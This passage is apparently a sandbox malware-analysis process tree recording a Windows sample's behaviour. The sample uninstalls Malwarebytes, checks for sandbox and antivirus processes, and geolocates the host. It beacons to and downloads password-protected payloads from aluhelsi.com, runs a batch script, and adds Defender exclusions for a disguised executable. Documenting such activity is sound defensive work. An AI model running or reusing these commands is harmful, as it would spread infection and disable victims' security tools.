        "C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe" /unregserver
        6⤵
        
        PID:3392
      - C:\Windows\system32\regsvr32.exe
        
        "C:\Windows\system32\regsvr32.exe" /u /s "C:\Program Files\Malwarebytes\Anti-Malware\mbshlext.dll"
        6⤵
        
        PID:2364
      - C:\Program Files\Malwarebytes\Anti-Malware\mbamwsc.exe
        
        "C:\Program Files\Malwarebytes\Anti-Malware\mbamwsc.exe" /uninstall
        6⤵
        
        PID:2812
- - C:\Windows\system32\xcopy.exe
    xcopy /C /H /Q /R /Y "C:\ProgramData\Malwarebytes\MBAMService\config\ScanConfig.json" "C:\ProgramData\tl"
    3⤵
    PID:1120
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4940
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:5052
- - C:\Windows\system32\xcopy.exe
    xcopy /C /H /Q /R /Y "C:\ProgramData\Malwarebytes\MBAMService\config\LicenseConfig.json" "C:\ProgramData\tl"
    3⤵
    PID:680
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\ProgramData\tl"
    3⤵
    - Views/modifies file attributes
    PID:3456
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq SbieSvc.exe" /fo csv /nh
    3⤵
    PID:4940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SystemInformation" /v "SystemProductName"
    3⤵
    PID:2428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl https://ipinfo.io/ip -k
    3⤵
    PID:3056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq QHActiveDefense.exe" /fo csv /nh
    3⤵
    PID:2008
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:676
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq ekrn.exe" /fo csv /nh
    3⤵
    PID:220
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl https://ipinfo.io/country -k
      4⤵
      PID:3884
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:180
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:3556
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:3452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl https://ipinfo.io/country -k
    3⤵
    PID:1684
  - - C:\Windows\system32\curl.exe
      curl https://ipinfo.io/country -k
      4⤵
      PID:3572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\SYSTEM\HardwareConfig\Current" /v "SystemProductName"
    3⤵
    PID:4304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl -k https://c.aluhelsi.com/c01.php --user-agent "c010101"
    3⤵
    PID:4628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" ( findstr /ilc:"Windows 11" 1>nul )"
    3⤵
    PID:4996
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic os get caption
    3⤵
    PID:4940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" ( findstr /ilc:"Windows 10" 1>nul )"
    3⤵
    PID:364
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:528
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:528
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic os get caption
    3⤵
    PID:1480
- - C:\Windows\system32\curl.exe
    curl -k -o "C:\Users\Admin\AppData\Local\Temp\z.7z" -L "https://z.aluhelsi.com/z.7z" --user-agent "cnfvp201"
    3⤵
    PID:1128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" ( findstr /ilc:"Windows 8.1" 1>nul )"
    3⤵
    PID:2692
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic os get caption
    3⤵
    PID:1672
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2072
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4780
- - C:\Program Files (x86)\7-Zip\7z.exe
    "C:\Program Files (x86)\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\z.7z" -o"C:\Users\Admin\AppData\Local\Temp" -pconfigvpnG2012885838482012ggg -y
    3⤵
    PID:2824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" ( findstr /ilc:"Windows 8" 1>nul )"
    3⤵
    PID:3272
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic os get caption
    3⤵
    PID:2984
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2604
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:116
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\z.bat"
    3⤵
    PID:220
  - - C:\Windows\system32\curl.exe
      curl -k -o "C:\Users\Admin\AppData\Local\Temp\NetFramework3.5.7z" -L -C - "https://z.aluhelsi.com/v/NetFramework3.5.7z" --user-agent "cnfvp201" --retry 3
      4⤵
      PID:980
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:528
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:4536
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4052
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:1596
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell add-mpPreference -exclusionProcess 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Windows Driver Foundation (WDF).exe'
      4⤵
      PID:2744
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell add-mpPreference -exclusionPath 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Windows Driver Foundation (WDF).exe'
      4⤵
      PID:4616
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:5012
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:2824
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:1416
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:2484
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:5028
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:1080
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3308
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:2324
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:2168
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:3884
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:4580
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        8⤵
        
        PID:1444
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        8⤵
        
        PID:4636
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:4596
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4164
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:3064
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:1532
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4792
  - - C:\Windows\system32\timeout.exe
      timeout /t 3
      4⤵
      Delays execution with timeout.exe
      PID:60
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" ( findstr /ilc:"Windows 7" 1>nul )"
    3⤵
    PID:3592
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3852
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:2940
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:2040
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic os get caption
    3⤵
    PID:2484
- - C:\Windows\system32\reg.exe
    reg Add "HKLM\SOFTWARE\Microsoft\Alu" /f /reg:32
    3⤵
    PID:1128
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Alu" /s /reg:32
    3⤵
    PID:4176
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic path win32_LocalTime Get Day,Month,Year /value
    3⤵
    PID:3008
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:4428

C:\Windows\system32\mode.com
mode con:cols=86 lines=36
1⤵
PID:4004

C:\Windows\system32\mode.com
mode 70,4
1⤵
PID:3556

C:\Windows\system32\timeout.exe
timeout.exe 5
1⤵
- Delays execution with timeout.exe
PID:1404
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:2220

C:\Windows\system32\cmd.exe
cmd
1⤵
PID:3488

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo prompt $H"
1⤵
PID:1748

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c echo prompt $H|cmd
1⤵
PID:364
- C:\Windows\system32\findstr.exe
  findstr /ilc:"Windows 10"
  2⤵
  PID:2312

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c copy/Z "C:\Users\Admin\AppData\Local\Temp\pb.cmd" nul
1⤵
PID:2780
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:3148
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:1772

C:\Windows\system32\chcp.com
chcp 65001
1⤵
PID:5100

C:\Windows\system32\findstr.exe
findstr "holocron" "C:\Windows\System32\drivers\etc\hosts"
1⤵
PID:1552

C:\Windows\system32\findstr.exe
findstr "keystone" "C:\Windows\System32\drivers\etc\hosts"
1⤵
PID:64

C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe
"C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe"
1⤵
PID:400
- C:\Program Files\Malwarebytes\Anti-Malware\mbamtray.exe
  "C:\Program Files\Malwarebytes\Anti-Malware\mbamtray.exe"
  2⤵
  PID:2760
- C:\Program Files\Malwarebytes\Anti-Malware\MBAMWsc.exe
  "C:\Program Files\Malwarebytes\Anti-Malware\MBAMWsc.exe" /wac 1 /status off true /updatesubstatus none /scansubstatus recommended /settingssubstatus none
  2⤵
  PID:3788

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_LocalTime Get Day,Month,Year /value
1⤵
PID:1252

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq SbieSvc.exe" /fo csv /nh
1⤵
PID:1636

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SystemInformation" /v "SystemProductName"
1⤵
PID:4580

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq ekrn.exe" /fo csv /nh
1⤵
PID:4604

C:\Windows\system32\curl.exe
curl https://ipinfo.io/ip -k
1⤵
PID:4308

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq QHActiveDefense.exe" /fo csv /nh
1⤵
PID:868

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\SYSTEM\HardwareConfig\Current" /v "SystemProductName"
1⤵
PID:1396

C:\Windows\system32\findstr.exe
findstr /ilc:"Windows 7"
1⤵
PID:3772
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:4840

C:\Windows\system32\findstr.exe
findstr /ilc:"Windows 8"
1⤵
PID:3508

C:\Windows\system32\findstr.exe
findstr /ilc:"Windows 8.1"
1⤵
PID:2184

C:\Windows\system32\findstr.exe
findstr /ilc:"Windows 11"
1⤵
PID:3548

C:\Windows\system32\curl.exe
curl https://ipinfo.io/country -k
1⤵
PID:3584
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:3364
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:2188

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4616

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1820
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  - Enumerates processes with tasklist
  PID:4544
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:4884
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3928
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3928

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2364

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
- Enumerates processes with tasklist
PID:4784

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4900

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2056

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1148

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2580

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:408

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4388

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:216
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:392
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:968
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:1924
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:4100
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1536
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1536

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2456
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:868
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:2744
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3556
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1404
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3632
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2692
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:920
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4576
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      Enumerates processes with tasklist
      PID:4428
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:4988
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:3592
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:740
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:812
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4532
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1284
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:3276

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3036

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4428

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3556

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2068

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3732
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:4052

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3272
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  - Enumerates processes with tasklist
  PID:2384

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2736
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:4376
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:1696

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3324
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:548
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  - Enumerates processes with tasklist
  PID:1340
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:2168
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:1928
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:3392

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:5044
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:4216

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4996

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2068
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  - Enumerates processes with tasklist
  PID:1568
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:2140

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:5100

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:528

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1252

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4580

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3880

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:4792
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4792 -s 1060
  2⤵
  - Program crash
  PID:4680

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:992
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  - Enumerates processes with tasklist
  PID:4348
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:4444
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:8
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:512
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:1672
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3856
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:5028
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:4044
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:4636
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:992
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3036
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3500
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:2580

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2304

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:3800
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:4308
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    - Enumerates processes with tasklist
    PID:1964
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:1964

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:2032

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:528

C:\Windows\system32\tasklist.exe
tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
1⤵
PID:1252
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
  2⤵
  PID:3044
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:3036
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2040
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:1636
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        Enumerates processes with tasklist
        
        PID:2484
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        Enumerates processes with tasklist
        
        PID:2576
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        8⤵
        
        PID:4428
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        8⤵
        
        PID:2824
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        Enumerates processes with tasklist
        
        PID:1692
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        8⤵
        Enumerates processes with tasklist
        
        PID:5012
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:116
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        8⤵
        
        PID:928
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:2808
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:1336
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:4572
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:4984
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:4064
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:928
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:2200
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2020
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4064
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4576
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:2904
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
    3⤵
    PID:3032

C:\Windows\system32\tasklist.exe
